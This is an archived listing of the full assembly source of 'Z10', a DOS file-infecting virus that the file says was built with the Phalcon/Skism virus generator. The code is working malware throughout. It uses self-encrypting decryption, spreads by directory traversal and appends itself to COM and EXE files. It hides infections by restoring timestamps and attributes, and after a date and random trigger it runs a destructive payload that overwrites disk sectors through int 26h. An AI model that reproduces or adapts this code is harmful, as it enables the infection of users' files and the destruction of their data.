home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-Z.ZIP / Z10.ASM < prev    next >
Assembly Source File  |  1991-07-11  |  14KB  |  376 lines

  1. ; Z10.asm : [Z10] by Paul Ferguson
  2. ; Created wik the Phalcon/Skism Mass-Produced Code Generator
  3. ; from the configuration file skeleton.cfg
  4.  
  5. .model tiny                             ; Handy directive
  6. .code                                   ; Virus code segment
  7.           org    100h                   ; COM file starting IP
  8.  
  9. id = 'ZA'                               ; ID word for EXE infections
  10. entry_point: db 0e9h,0,0                ; jmp decrypt
  11.  
  12. decrypt:                                ; handles encryption and decryption
  13. patch_startencrypt:
  14.           mov  si,offset startencrypt   ; start of decryption
  15.           mov  di,(offset heap - offset startencrypt)/2 ; iterations
  16. decrypt_loop:
  17.           db   2eh,81h,04h              ; add word ptr cs:[si], xxxx
  18. decrypt_value dw 0                      ; initialised at zero for null effect
  19.           inc  si                       ; calculate new decryption location
  20.           inc  si
  21.           dec  di                       ; If we are not done, then
  22.           jnz  decrypt_loop             ; decrypt mo'
  23. startencrypt:
  24.           call next                     ; calculate delta offset
  25. next:     pop  bp                       ; bp = IP next
  26.           sub  bp,offset next           ; bp = delta offset
  27.  
  28.           cmp  sp,id                    ; COM or EXE?
  29.           je   restoreEXE
  30. restoreCOM:
  31.           lea  si,[bp+save3]
  32.           mov  di,100h
  33.           push di                       ; For later return
  34.           movsb
  35.           jmp  short restoreEXIT
  36. restoreEXE:
  37.           push ds
  38.           push es
  39.           push cs                       ; DS = CS
  40.           pop  ds
  41.           push cs                       ; ES = CS
  42.           pop  es
  43.           lea  si,[bp+jmpsave2]
  44.           lea  di,[bp+jmpsave]
  45.           movsw
  46.           movsw
  47.           movsw
  48. restoreEXIT:
  49.           movsw
  50.  
  51.           mov  byte ptr [bp+numinfec],2 ; reset infection counter
  52.  
  53.           mov  ah,1Ah                   ; Set new DTA
  54.           lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  55.           int  21h
  56.  
  57.           mov  ah,47h                   ; Get current directory
  58.           mov  dl,0                     ; Current drive
  59.           lea  si,[bp+origdir]          ; DS:SI->buffer
  60.           int  21h
  61.           mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
  62.  
  63.           mov  ax,3524h                 ; Get int 24 handler
  64.           int  21h                      ; to ES:BX
  65.           mov  word ptr [bp+oldint24],bx; Save it
  66.           mov  word ptr [bp+oldint24+2],es
  67.           mov  ah,25h                   ; Set new int 24 handler
  68.           lea  dx,[bp+offset int24]     ; DS:DX->new handler
  69.           int  21h
  70.           push cs                       ; Restore ES
  71.           pop  es                       ; 'cuz it was changed
  72.  
  73. dir_scan:                               ; "dot dot" traversal
  74.           lea  dx,[bp+exe_mask]
  75.           call infect_mask
  76.           lea  dx,[bp+com_mask]
  77.           call infect_mask
  78.           mov  ah,3bh                   ; change directory
  79.           lea  dx,[bp+dot_dot]          ; "cd .."
  80.           int  21h
  81.           jnc  dir_scan                 ; go back for mo!
  82.  
  83. done_infections:
  84.           mov  ah,2ah                   ; Get current date
  85.           int  21h
  86.           cmp  dh,10                    ; Check month
  87.           jb   exit_virus
  88.           cmp  dl,30                    ; Check date
  89.           jb   exit_virus
  90.           cmp  cx,1991                  ; Check year
  91.           jb   exit_virus
  92.           cmp  al,0                     ; Check date of week
  93.           jb   exit_virus
  94.  
  95.           mov  ah,2ch                   ; Get current time
  96.           int  21h
  97.           cmp  dl,50                    ; Check the percentage
  98.           jbe  activate
  99.  
  100. exit_virus:
  101.           mov  ax,2524h                 ; Restore int 24 handler
  102.           lds  dx,[bp+offset oldint24]  ; to original
  103.           int  21h
  104.           push cs
  105.           pop  ds
  106.  
  107.           mov  ah,3bh                   ; change directory
  108.           lea  dx,[bp+origdir-1]        ; original directory
  109.           int  21h
  110.  
  111.           mov  ah,1ah                   ; restore DTA to default
  112.           mov  dx,80h                   ; DTA in PSP
  113.           cmp  sp,id-4                  ; EXE or COM?
  114.           jz   returnEXE
  115. returnCOM:
  116.           int  21h
  117.           retn                          ; 100h is on stack
  118. returnEXE:
  119.           pop  es
  120.           pop  ds
  121.           int  21h
  122.           mov  ax,es                    ; AX = PSP segment
  123.           add  ax,10h                   ; Adjust for PSP
  124.           add  word ptr cs:[bp+jmpsave+2],ax
  125.           add  ax,word ptr cs:[bp+stacksave+2]
  126.           cli                           ; Clear intrpts for stack manipulation
  127.           mov  sp,word ptr cs:[bp+stacksave]
  128.           mov  ss,ax
  129.           sti
  130.           db   0eah                     ; jmp ssss:oooo
  131. jmpsave             dd ?                ; Original CS:IP
  132. stacksave           dd ?                ; Original SS:SP
  133. jmpsave2            db ?                ; Actually four bytes
  134. save3               db 0cdh,20h,0       ; First 3 bytes of COM file
  135. stacksave2          dd ?
  136.  
  137. activate:                                       ; Conditions satisfied
  138.                 mov     al,0002h                ; First argument is 2
  139.                 mov     cx,0080h                ; Second argument is 16
  140.         cli                ; Disable interrupts (no Ctrl-C)
  141.         cwd                ; Clear DX (start with sector 0)
  142.                 int     026h                    ; Remove the semi-colon
  143.                 sti                             ; Restore interrupts
  144.         mov    ax,04C00h        ; DOS terminate function
  145.         int    021h
  146.           jmp  exit_virus
  147.  
  148. creator             db '[PF]',0        ; Mass Produced Code Generator
  149. virusname           db '[Z10]',0
  150. author              db 'Paul Ferguson',0
  151.  
  152. infect_mask:
  153.           mov  ah,4eh                   ; find first file
  154.           mov  cx,7                     ; any attribute
  155. findfirstnext:
  156.           int  21h                      ; DS:DX points to mask
  157.           jc   exit_infect_mask         ; No mo files found
  158.  
  159.           mov  al,0h                    ; Open read only
  160.           call open
  161.  
  162.           mov  ah,3fh                   ; Read file to buffer
  163.           lea  dx,[bp+buffer]           ; @ DS:DX
  164.           mov  cx,1Ah                   ; 1Ah bytes
  165.           int  21h
  166.  
  167.           mov  ah,3eh                   ; Close file
  168.           int  21h
  169.  
  170.           cmp  word ptr [bp+buffer],'ZM'; EXE?
  171.           jz   checkEXE                 ; Why yes, yes it is!
  172. checkCOM:
  173.           mov  ax,word ptr [bp+newDTA+35] ; Get tail of filename
  174.           cmp  ax,'DN'                  ; Ends in ND? (commaND)
  175.           jz   find_next
  176.  
  177.           mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
  178.           cmp  ax,13000                 ; Is it too small?
  179.           jb   find_next
  180.  
  181.           cmp  ax,65535-(endheap-decrypt) ; Is it too large?
  182.           ja   find_next
  183.  
  184.           mov  bx,word ptr [bp+buffer+1]; get jmp location
  185.           add  bx,heap-decrypt+3        ; Adjust for virus size
  186.           cmp  ax,bx
  187.           je   find_next                ; already infected
  188.           jmp  infect_com
  189. checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  190.           jnz  infect_exe
  191. find_next:
  192.           mov  ah,4fh                   ; find next file
  193.           jmp  short findfirstnext
  194. exit_infect_mask: ret
  195.  
  196. infect_exe:
  197.           les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  198.           mov  word ptr [bp+jmpsave2], ax
  199.           mov  word ptr [bp+jmpsave2+2], es
  200.  
  201.           les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  202.           mov  word ptr [bp+stacksave2], es
  203.           mov  word ptr [bp+stacksave2+2], ax
  204.  
  205.           mov  ax, word ptr [bp+buffer + 8] ; Get header size
  206.           mov  cl, 4                    ; convert to bytes
  207.           shl  ax, cl
  208.           xchg ax, bx
  209.  
  210.           les  ax, [bp+offset newDTA+26]; Get file size
  211.           mov  dx, es                   ; to DX:AX
  212.           push ax
  213.           push dx
  214.  
  215.           sub  ax, bx                   ; Subtract header size from
  216.           sbb  dx, 0                    ; file size
  217.  
  218.           mov  cx, 10h                  ; Convert to segment:offset
  219.           div  cx                       ; form
  220.  
  221.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  222.           mov  word ptr [bp+buffer+16h], ax
  223.  
  224.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  225.           mov  word ptr [bp+buffer+10h], id
  226.  
  227.           pop  dx                       ; get file length
  228.           pop  ax
  229.  
  230.           add  ax, heap-decrypt         ; add virus size
  231.           adc  dx, 0
  232.  
  233.           mov  cl, 9
  234.           push ax
  235.           shr  ax, cl
  236.           ror  dx, cl
  237.           stc
  238.           adc  dx, ax
  239.           pop  ax
  240.           and  ah, 1                    ; mod 512
  241.  
  242.           mov  word ptr [bp+buffer+4], dx ; new file size
  243.           mov  word ptr [bp+buffer+2], ax
  244.  
  245.           push cs                       ; restore ES
  246.           pop  es
  247.  
  248.           push word ptr [bp+buffer+14h] ; needed later
  249.           mov  cx, 1ah
  250.           jmp  short finishinfection
  251. infect_com:                             ; ax = filesize
  252.           mov  cx,3
  253.           sub  ax,cx
  254.           lea  si,[bp+offset buffer]
  255.           lea  di,[bp+offset save3]
  256.           movsw
  257.           movsb
  258.           mov  byte ptr [si-3],0e9h
  259.           mov  word ptr [si-2],ax
  260.           add  ax,103h
  261.           push ax                       ; needed later
  262. finishinfection:
  263.           push cx                       ; Save # bytes to write
  264.           xor  cx,cx                    ; Clear attributes
  265.           call attributes               ; Set file attributes
  266.  
  267.           mov  al,2
  268.           call open
  269.  
  270.           mov  ah,40h                   ; Write to file
  271.           lea  dx,[bp+buffer]           ; Write from buffer
  272.           pop  cx                       ; cx bytes
  273.           int  21h
  274.  
  275.           mov  ax,4202h                 ; Move file pointer
  276.           xor  cx,cx                    ; to end of file
  277.           cwd                           ; xor dx,dx
  278.           int  21h
  279.  
  280.           mov  ah,2ch                   ; Get current time
  281.           int  21h                      ; dh=sec,dl=1/100 sec
  282.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  283.           lea  di,[bp+code_store]
  284.           mov  ax,5355h                 ; push bp,push bx
  285.           stosw
  286.           lea  si,[bp+decrypt]          ; Copy encryption function
  287.           mov  cx,startencrypt-decrypt  ; Bytes to move
  288.           push si                       ; Save for later use
  289.           push cx
  290.           rep  movsb
  291.  
  292.           xor  byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
  293.  
  294.           lea    si,[bp+write]          ; Copy writing function
  295.           mov    cx,endwrite-write      ; Bytes to move
  296.           rep    movsb
  297.           pop    cx
  298.           pop    si
  299.           pop    dx                     ; Entry point of virus
  300.           push   di
  301.           push   si
  302.           push   cx
  303.           rep    movsb                  ; Copy decryption function
  304.           mov    ax,5b5dh               ; pop bx,pop bp
  305.           stosw
  306.           mov    al,0c3h                ; retn
  307.           stosb
  308.  
  309.           add    dx,offset startencrypt - offset decrypt ; Calculate new
  310.           mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
  311.           call   code_store             ; decryption
  312.           pop    cx
  313.           pop    di
  314.           pop    si
  315.           rep    movsb                  ; Restore decryption function
  316.  
  317.           mov  ax,5701h                 ; Restore creation date/time
  318.           mov  cx,word ptr [bp+newDTA+16h] ; time
  319.           mov  dx,word ptr [bp+newDTA+18h] ; date
  320.           int  21h
  321.  
  322.           mov  ah,3eh                   ; Close file
  323.           int  21h
  324.  
  325.           mov ch,0
  326.           mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  327.           call attributes               ; attributes
  328.  
  329.           dec  byte ptr [bp+numinfec]   ; One mo infection
  330.           jnz  mo_infections            ; Not enough
  331.           pop  ax                       ; remove call from stack
  332.           jmp  done_infections
  333. mo_infections: jmp find_next
  334.  
  335. open:
  336.           mov  ah,3dh
  337.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  338.           int  21h
  339.           xchg ax,bx
  340.           ret
  341.  
  342. attributes:
  343.           mov  ax,4301h                 ; Set attributes to cx
  344.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  345.           int  21h
  346.           ret
  347.  
  348. write:
  349.           pop  bx                       ; Restore file handle
  350.           pop  bp                       ; Restore relativeness
  351.           mov  ah,40h                   ; Write to file
  352.           lea  dx,[bp+decrypt]          ; Concatenate virus
  353.           mov  cx,heap-decrypt          ; # bytes to write
  354.           int  21h
  355.           push bx
  356.           push bp
  357. endwrite:
  358.  
  359. int24:                                  ; New int 24h (error) handler
  360.           mov  al,3                     ; Fail call
  361.           iret                          ; Return control
  362.  
  363. exe_mask            db '*.exe',0
  364. com_mask            db '*.com',0
  365. dot_dot             db '..',0
  366. heap:                                   ; Variables not in code
  367. code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
  368. oldint24            dd ?                ; Storage for old int 24h handler      
  369. backslash           db ?
  370. origdir             db 64 dup (?)       ; Current directory buffer             
  371. newDTA              db 43 dup (?)       ; Temporary DTA                        
  372. numinfec            db ?                ; Infections this run                  
  373. buffer              db 1ah dup (?)      ; read buffer                          
  374. endheap:                                ; End of virus
  375. end       entry_point
  376.